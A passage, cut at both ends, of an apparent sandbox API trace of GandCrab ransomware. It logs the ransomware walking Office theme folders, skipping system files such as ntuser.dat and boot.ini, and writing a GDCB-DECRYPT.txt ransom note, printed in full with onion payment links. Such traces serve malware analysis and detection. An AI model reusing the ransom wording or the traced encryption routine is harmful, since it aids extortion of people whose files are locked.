returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0054.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0054.490] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0054.490] FindClose (in: hFindFile=0x5b8a70 | out: hFindFile=0x5b8a70) returned 1 [0054.491] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.491] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\GDCB-DECRYPT.txt") returned 119 [0054.491] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0054.492] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.492] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0054.493] CloseHandle (hObject=0x50c) returned 1 [0054.493] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned 102 [0054.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0054.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5b8670 [0054.493] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.493] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.493] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.493] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.493] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0054.493] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.494] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0054.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0054.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0054.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.494] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.494] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.494] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.494] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2=".") returned 1 [0054.494] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="..") returned 1 [0054.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0054.494] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.494] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0054.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0054.494] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.494] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.494] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2=".") returned 1 [0054.494] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="..") returned 1 [0054.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0054.494] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.495] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0054.495] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0054.495] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.495] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.495] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2=".") returned 1 [0054.495] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="..") returned 1 [0054.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0054.495] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.495] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0054.495] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0054.495] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.495] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.495] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2=".") returned 1 [0054.495] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="..") returned 1 [0054.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0054.495] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.495] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0054.495] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0054.495] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.496] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2=".") returned 1 [0054.496] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="..") returned 1 [0054.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0054.496] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.496] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0054.496] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0054.496] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.496] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2=".") returned 1 [0054.496] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="..") returned 1 [0054.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0054.496] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.496] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0054.496] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0054.496] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.496] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2=".") returned 1 [0054.496] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="..") returned 1 [0054.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0054.496] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.497] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0054.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0054.497] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.497] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.497] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2=".") returned 1 [0054.497] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="..") returned 1 [0054.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0054.497] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.497] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0054.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0054.497] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.497] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.497] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2=".") returned 1 [0054.497] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="..") returned 1 [0054.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0054.497] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) 